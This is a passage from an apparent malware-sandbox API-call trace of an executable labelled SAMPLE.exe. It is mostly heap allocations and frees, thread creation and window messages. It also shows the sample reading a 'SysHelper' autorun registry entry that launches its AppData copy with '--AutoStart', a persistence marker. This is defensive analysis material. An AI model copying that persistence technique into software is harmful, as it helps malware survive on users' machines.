(HeapHandle=0xd50000, Flags=0x0, Size=0x10) returned 0x38024e0 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x110) returned 0x37fabe0 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x3850118 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3871e08 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x10e0) returned 0x3850930 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f538 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x384c018 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x660) returned 0x37f75e8 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3872690 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3872f18 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x38737a0 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3874028 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x38748b0 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x384c830 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3875138 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x38759c0 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x384d078 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x384d8c0 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x387d840 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3876248 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3876ad0 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x387e0a8 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x387e8f0 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3877358 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3877be0 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3878468 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3878cf0 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3879578 [0050.404] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x387f150 [0050.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x387f9d8 [0050.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3880260 [0050.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3880ae8 [0050.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3881370 [0050.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x388f138 [0050.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x388f9a0 [0050.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3881bf8 [0050.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3882480 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3882d08 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x3890208 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x3890a50 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3883590 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3883e18 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x38846a0 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3884f28 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x38857b0 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3886038 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x38868c0 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3887148 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x38879d0 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x3891298 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x3891b00 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3888258 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3888ae0 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3889368 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x3892368 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x3889bf0 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x388a478 [0050.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x388ad00 [0050.407] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x388b588 [0050.407] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x388be10 [0050.407] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x388c698 [0050.407] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x388cf20 [0050.407] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x388d7a8 [0050.407] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x388e030 [0050.407] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3892bc8 [0050.407] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x38a2bb0 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x38a3418 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3893450 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3893cd8 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3894560 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x3894de8 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3895670 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3895ef8 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x3896780 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3897008 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3897890 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc0) returned 0x3805890 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x3898118 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x38a3c80 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x38a4498 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x38989a0 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x3899228 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x3899ab0 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x389a338 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x389abc0 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f608 [0050.408] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x389b448 [0050.409] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x389bcd0 [0050.409] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x389c558 [0050.409] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x389cde0 [0050.409] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x110) returned 0x37d7b80 [0050.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x37fabe8, dwCreationFlags=0x0, lpThreadId=0x38024e8 | out: lpThreadId=0x38024e8*=0x9f8) returned 0x3b4 [0050.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x9fc) returned 0x3a8 [0050.410] GetMessageW (in: lpMsg=0x18ea90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18ea90) returned 1 [0063.679] NtdllDefWindowProc_W () returned 0x0 [0063.680] NtdllDefWindowProc_W () returned 0x0 [0063.695] NtdllDefWindowProc_W () returned 0x0 [0063.696] NtdllDefWindowProc_W () returned 0x0 [0063.696] NtdllDefWindowProc_W () returned 0x0 [0063.697] NtdllDefWindowProc_W () returned 0x0 [0063.697] NtdllDefWindowProc_W () returned 0x0 [0063.697] NtdllDefWindowProc_W () returned 0x1 [0063.699] NtdllDefWindowProc_W () returned 0x0 [0063.710] NtdllDefWindowProc_W () returned 0x0 [0063.711] NtdllDefWindowProc_W () returned 0x0 [0063.711] NtdllDefWindowProc_W () returned 0x0 [0063.711] NtdllDefWindowProc_W () returned 0x3 [0063.711] TranslateMessage (lpMsg=0x18ea90) returned 0 [0063.711] DispatchMessageW (lpMsg=0x18ea90) returned 0x0 [0063.711] GetMessageW (in: lpMsg=0x18ea90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18ea90) returned 0 [0063.711] NtdllDefWindowProc_W () returned 0x2 [0063.712] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e158 | out: phkResult=0x18e158*=0x6d0) returned 0x0 [0063.712] RegQueryValueExW (in: hKey=0x6d0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e154, lpData=0x18c880, lpcbData=0x18e138*=0x400 | out: lpType=0x18e154*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart", lpcbData=0x18e138*=0x130) returned 0x0 [0063.712] RegCloseKey (hKey=0x6d0) returned 0x0 [0063.712] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x130) returned 0x37c2310 [0063.712] lstrlenA (lpString="\" --AutoStart") returned 13 [0063.712] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x120) returned 0x37d8a70 [0063.712] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37c2310 | out: hHeap=0xd50000) returned 1 [0063.712] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned 1 [0063.712] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d8a70 | out: hHeap=0xd50000) returned 1 [0063.712] IsWindow (hWnd=0x50122) returned 1 [0063.712] DestroyWindow (hWnd=0x50122) returned 1 [0063.712] NtdllDefWindowProc_W () returned 0x0 [0063.713] NtdllDefWindowProc_W () returned 0x1 [0063.714] NtdllDefWindowProc_W () returned 0x0 [0063.714] NtdllDefWindowProc_W () returned 0x0 [0063.714] NtdllDefWindowProc_W () returned 0x0 [0063.714] NtdllDefWindowProc_W () returned 0x0 [0063.714] NtdllDefWindowProc_W () returned 0x0 [0063.714] PostQuitMessage (nExitCode=0) [0063.719] NtdllDefWindowProc_W () returned 0x0 [0063.719] CloseHandle (hObject=0x5c4) returned 1 [0063.719] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e2050 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834680 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38346f8 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38347c0 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38347e8 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834810 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834838 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fade8 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fad40 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834860 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834888 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38348b0 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38348d8 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834900 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834928 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834950 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fae20 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fae58 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834978 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38349a0 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38349c8 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38349f0 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834a18 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834a40 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834a68 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834a90 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fae90 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37faec8 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834ab8 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834ae0 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834b08 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834b30 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834b58 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834b80 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834ba8 | out: hHeap=0xd50000) returned 1 [0063.720] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834bd0 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37faf00 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37faf38 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834bf8 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834c20 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834c48 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834c70 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834c98 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fa308 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f8950 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3812f20 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f05d8 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3820748 | out: hHeap=0xd50000) returned 1 [0063.721] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fadb0 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xe44ae0 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fe968 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fed58 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fed10 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38a8cd0 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xe2f7b0 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38024e0 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xdfd368 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d4d38 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386fbe8 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3870470 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3870cf8 | out: hHeap=0xd50000) returned 1 [0063.722] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3871580 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f5a0 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x386ead8 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3863a60 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387aec8 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x387d028 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fbd30 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x384f900 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x384f0e8 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x384e8d0 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3783140 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3852190 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38531f0 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3853a28 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3854260 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3854a98 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3855b10 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38552d0 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38529b8 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3856ba0 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3858490 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3859110 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3856358 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38573e8 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3859d90 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385a5d8 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385ae20 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385b658 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385be90 | out: hHeap=0xd50000) returned 1 [0063.723] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3857c10 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385c6c8 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385cef0 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385df48 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385efb8 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385d718 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3835ff0 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3860898 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3861518 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3836878 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3837100 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3862198 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3860030 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3863218 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385e780 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x385f7f0 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38629d0 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3837988 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3838210 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3839320 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3864290 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3865300 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3839ba8 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3866be0 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3867860 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x383a430 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x383acb8 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38684e0 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3866378 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3869560 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3864ac8 | out: hHeap=0xd50000) returned 1 [0063.724] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3865b38 | out: 